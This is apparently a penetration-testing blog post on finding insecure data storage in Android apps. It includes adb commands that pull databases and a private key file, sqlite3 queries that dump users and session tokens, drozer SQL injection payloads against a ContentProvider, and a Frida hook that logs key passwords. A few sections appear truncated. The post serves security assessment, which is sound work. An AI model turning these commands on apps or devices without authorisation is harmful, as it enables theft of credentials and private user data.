Insecure data storage is one of the most consistent findings in Android app assessments. Sensitive data ends up in plaintext SharedPreferences, world-readable SQLite databases, unprotected external storage, and backup files. This post covers every storage mechanism and how to assess it.
App Data Directory Structure
Each app has a private directory at /data/data/<package_name>/:
/data/data/com.target.app/ ├── shared_prefs/ ← SharedPreferences XML files ├── databases/ ← SQLite databases ├── files/ ← General files ├── cache/ ← Cache files (may be cleared by system) ├── app_webview/ ← WebView data (cookies, localStorage) └── lib/ ← Native libraries
Access requires root, or adb shell run-as com.target.app if debuggable=true.
# List all files in app directory (root required) adb shell "find /data/data/com.target.app -type f"
# With debuggable=true, no root needed adb shell run-as com.target.app find /data/data/com.target.app -type f
SharedPreferences
SharedPreferences stores key-value pairs as XML. Apps commonly store session tokens, user data, and flags here.
# List all preference files adb shell run-as com.target.app ls /data/data/com.target.app/shared_prefs/
# Pull the database adb pull /data/data/com.target.app/databases/app.db .
# Open with sqlite3 sqlite3 app.db
# Inside sqlite3: .tables # list all tables .schema users# show table structure SELECT * FROM users; # dump all users SELECT * FROM sessions; # session tokens SELECT * FROM messages; # private messages
# Export to CSV .mode csv .output dump.csv SELECT * FROM users; .output stdout
Common sensitive tables:users, sessions, tokens, messages, credentials, payments, health_data
SQL Injection in Content Providers
If the app exposes a ContentProvider:
# drozer run app.provider.query content://com.target.app.provider/users \ --projection "* FROM users--"
run app.provider.query content://com.target.app.provider/users \ --selection "1=1) UNION SELECT name,sql,3,4,5 FROM sqlite_master--"
Internal Files
# Find all files, sorted by modification time adb shell run-as com.target.app find /data/data/com.target.app/files/ -type f
# Look for logs, configs, keys adb shell run-as com.target.app ls /data/data/com.target.app/files/ adb pull /data/data/com.target.app/files/config.json . adb pull /data/data/com.target.app/files/private_key.pem .
External Storage
Files on external storage (/sdcard/) are readable by any app with READ_EXTERNAL_STORAGE permission (or no permission on older Android).
# Check what the app writes to external storage adb shell ls /sdcard/Android/data/com.target.app/ adb shell ls /sdcard/Download/ adb shell find /sdcard/ -name "*.log" -o -name "*.db" -o -name "*.json"
# Session storage, IndexedDB ls /data/data/com.target.app/app_webview/Default/
Android Keystore — Misuse Patterns
The Android Keystore is the secure key storage. Even when used, it can be misused.
Keys not protected with user authentication
// Vulnerable — key can be used even if device is not unlocked KeyGenParameterSpecspec=newKeyGenParameterSpec.Builder( "myKey", KeyProperties.PURPOSE_ENCRYPT | KeyProperties.PURPOSE_DECRYPT) .setBlockModes(KeyProperties.BLOCK_MODE_AES) .setEncryptionPaddings(KeyProperties.ENCRYPTION_PADDING_PKCS7) // Missing: .setUserAuthenticationRequired(true) .build();
Keys backed up in cloud (pre-Android 9)
On Android < 9, keystore keys could be included in cloud backups.
Extract key material via Frida
Java.perform(function() { varSecretKeyFactory = Java.use('javax.crypto.SecretKeyFactory'); SecretKeyFactory.generateSecret.implementation = function(keySpec) { var result = this.generateSecret(keySpec); // If it's a PBEKeySpec, extract the password try { varPBEKeySpec = Java.use('javax.crypto.spec.PBEKeySpec'); var spec = Java.cast(keySpec, PBEKeySpec); console.log('[*] Key password: ' + new java.lang.String(spec.getPassword())); } catch(e) {} return result; }; });
No comments yet. Be the first.